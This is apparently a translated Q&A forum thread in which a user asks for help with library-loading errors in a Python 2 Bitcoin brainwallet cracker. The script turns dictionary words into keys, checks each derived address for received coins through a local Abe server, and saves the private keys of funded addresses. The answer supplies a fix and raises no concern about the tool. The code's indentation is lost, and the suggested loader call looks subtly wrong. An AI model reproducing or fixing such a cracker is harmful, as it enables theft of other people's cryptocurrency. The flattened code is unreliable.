继续在下面收到此错误，我假设下面引用的代码导致它：
任何帮助表示感谢谢谢：）
SyntaxError: invalid syntax
Traceback (most recent call last):
File "b.py", line 8, in <module>
ssl = ctypes.cdll.LoadLibrary (ctypes.util.find_library ('ssl') or 'libeay32 ')
File "c:\Python27\lib\ctypes\__init__.py", line 443, in LoadLibrary
return self._dlltype(name)
File "c:\Python27\lib\ctypes\__init__.py", line 365, in __init__
self._handle = _dlopen(self._name, mode)
WindowsError: [Error 126] The specified module could not be found
现在出现新错误：
c：\ Python25＆gt; python b.py Traceback（最近一次调用最后一次）：文件 “b.py”，第15行，in ssl.EC_KEY_new_by_curve_name.restype = ctypes.c_void_p NameError：名称'ssl'未定义
更新：刚刚添加了下面的整个代码，以便你们可以看到，如果有人可以看看下面的话，感激不尽。
import hashlib
import ctypes
import ctypes.util
import urllib2
import sys
import codecs
ctypes.util.find_library('ssl') or ctypes.util.find_library('libeay32')
def check_result (val, func, args):
if val == 0: raise ValueError
else: return ctypes.c_void_p (val)
ssl.EC_KEY_new_by_curve_name.restype = ctypes.c_void_p
ssl.EC_KEY_new_by_curve_name.errcheck = check_result
class KEY:
def __init__(self):
NID_secp256k1 = 714
self.k = ssl.EC_KEY_new_by_curve_name(NID_secp256k1)
self.compressed = False
self.POINT_CONVERSION_COMPRESSED = 2
self.POINT_CONVERSION_UNCOMPRESSED = 4
def __del__(self):
if ssl:
ssl.EC_KEY_free(self.k)
self.k = None
def generate(self, secret=None):
if secret:
priv_key = ssl.BN_bin2bn(secret, 32, ssl.BN_new())
group = ssl.EC_KEY_get0_group(self.k)
pub_key = ssl.EC_POINT_new(group)
ctx = ssl.BN_CTX_new()
ssl.EC_POINT_mul(group, pub_key, priv_key, None, None, ctx)
ssl.EC_KEY_set_private_key(self.k, priv_key)
ssl.EC_KEY_set_public_key(self.k, pub_key)
ssl.EC_POINT_free(pub_key)
ssl.BN_CTX_free(ctx)
return self.k
else:
return ssl.EC_KEY_generate_key(self.k)
def set_privkey(self, key):
self.mb = ctypes.create_string_buffer(key)
ssl.d2i_ECPrivateKey(ctypes.byref(self.k), ctypes.byref(ctypes.pointer(self.mb)), len(key))
def set_pubkey(self, key):
self.mb = ctypes.create_string_buffer(key)
ssl.o2i_ECPublicKey(ctypes.byref(self.k), ctypes.byref(ctypes.pointer(self.mb)), len(key))
def get_privkey(self):
size = ssl.i2d_ECPrivateKey(self.k, 0)
mb_pri = ctypes.create_string_buffer(size)
ssl.i2d_ECPrivateKey(self.k, ctypes.byref(ctypes.pointer(mb_pri)))
return mb_pri.raw
def get_pubkey(self):
size = ssl.i2o_ECPublicKey(self.k, 0)
mb = ctypes.create_string_buffer(size)
ssl.i2o_ECPublicKey(self.k, ctypes.byref(ctypes.pointer(mb)))
return mb.raw
def get_secret(self):
bn = ssl.EC_KEY_get0_private_key(self.k);
bytes = (ssl.BN_num_bits(bn) + 7) / 8
mb = ctypes.create_string_buffer(bytes)
n = ssl.BN_bn2bin(bn, mb);
return mb.raw.rjust(32, chr(0))
def set_compressed(self, compressed):
self.compressed = compressed
if compressed:
form = self.POINT_CONVERSION_COMPRESSED
else:
form = self.POINT_CONVERSION_UNCOMPRESSED
ssl.EC_KEY_set_conv_form(self.k, form)
def dhash(s):
return hashlib.sha256(hashlib.sha256(s).digest()).digest()
def rhash(s):
h1 = hashlib.new('ripemd160')
h1.update(hashlib.sha256(s).digest())
return h1.digest()
b58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
def base58_encode(n):
l = []
while n > 0:
n, r = divmod(n, 58)
l.insert(0,(b58_digits[r]))
return ''.join(l)
def base58_decode(s):
n = 0
for ch in s:
n *= 58
digit = b58_digits.index(ch)
n += digit
return n
def base58_encode_padded(s):
res = base58_encode(int('0x' + s.encode('hex'), 16))
pad = 0
for c in s:
if c == chr(0):
pad += 1
else:
break
return b58_digits[0] * pad + res
def base58_decode_padded(s):
pad = 0
for c in s:
if c == b58_digits[0]:
pad += 1
else:
break
h = '%x' % base58_decode(s)
if len(h) % 2:
h = '0' + h
res = h.decode('hex')
return chr(0) * pad + res
def base58_check_encode(s, version=0):
vs = chr(version) + s
check = dhash(vs)[:4]
return base58_encode_padded(vs + check)
def base58_check_decode(s, version=0):
k = base58_decode_padded(s)
v0, data, check0 = k[0], k[1:-4], k[-4:]
check1 = dhash(v0 + data)[:4]
if check0 != check1:
raise BaseException('checksum error')
if version != ord(v0):
raise BaseException('version mismatch')
return data
def gen_eckey(passphrase=None, secret=None, pkey=None, compressed=False, rounds=1):
k = KEY()
if passphrase:
secret = passphrase.encode('utf8')
for i in xrange(rounds):
secret = hashlib.sha256(secret).digest()
if pkey:
secret = base58_check_decode(pkey, 128)
compressed = len(secret) == 33
secret = secret[0:32]
k.generate(secret)
k.set_compressed(compressed)
return k
def get_addr(k):
pubkey = k.get_pubkey()
secret = k.get_secret()
hash160 = rhash(pubkey)
addr = base58_check_encode(hash160)
payload = secret
if k.compressed:
payload = secret + chr(1)
pkey = base58_check_encode(payload, 128)
return addr, pkey
def test():
# random uncompressed
print get_addr(gen_eckey())
# random compressed
print get_addr(gen_eckey(compressed=True))
# by secret
print get_addr(gen_eckey(secret=('%064x' % 0xdeadbabe).decode('hex')))
# by passphrase
print get_addr(gen_eckey(passphrase='Satoshi Nakamoto'))
# by private key, uncompressed
print get_addr(gen_eckey(pkey='5K1HkbYffstTZDuV4riUWMbAMkQh57b8798uoy9pXYUDYeUHe7F'))
# by private key, compressed
print get_addr(gen_eckey(pkey='L3ATL5R9Exe1ubuAnHVgNgTKZEUKkDvWYAWkLUCyyvzzxRjtgyFe'))
if __name__ == '__main__':
dict_file = "dictionary.txt"
found_file = "found_addresses.txt"
abe_server = "localhost"
abe_port = "2750"
abe_chain = "Bitcoin"
print "Starting search for used brainwallet addresses using dictionary '%s'" % dict_file
num_lines = sum(1 for line in open(dict_file))
line_count = 0
found = codecs.open(found_file,'a','utf8')
dictionary = codecs.open(dict_file,'r','utf8')
for raw_line in dictionary:
line_count += 1
line = raw_line.rstrip()
a = get_addr(gen_eckey(passphrase=line))
address = a[0]
private_address = a[1]
try:
url = "http://%s:%s/chain/%s/q/getreceivedbyaddress/%s" % (abe_server, abe_port, abe_chain, address)
received_bitcoins = urllib2.urlopen(url).read()
except urllib2.URLError:
print "Request failed for word '%s' to URL '%s'" % (line, url)
continue
if(received_bitcoins != "0"):
msg = "Found address %s using dictionary word %s which has received %s bitcoins. Private key: %s\n" % (address, line.rstrip(), received_bitcoins, private_address)
print msg
found.write(msg)
if( (line_count % 1000) == 0 ):
print "Progress: %s of %s words checked so far" % (line_count, num_lines)
found.close()
dictionary.close()
答案 0 :(得分：1)
我怀疑find_libary失败然后无法加载'libeay32 ' - 可能是因为它丢失了或者最后的空格可能无法帮助。
如果代码是发布的，则语法错误是您没有为ssl分配任何内容。
我建议改变：
ctypes.util.find_library('ssl') or ctypes.util.find_library('libeay32')
为：
libname = ctypes.util.find_library('ssl') or ctypes.util.find_library('libeay32')
print ('Library found as', libname)
if libname:
ssl = ctypes.LibraryLoader.LoadLibrary(libname)
else:
sys.exit()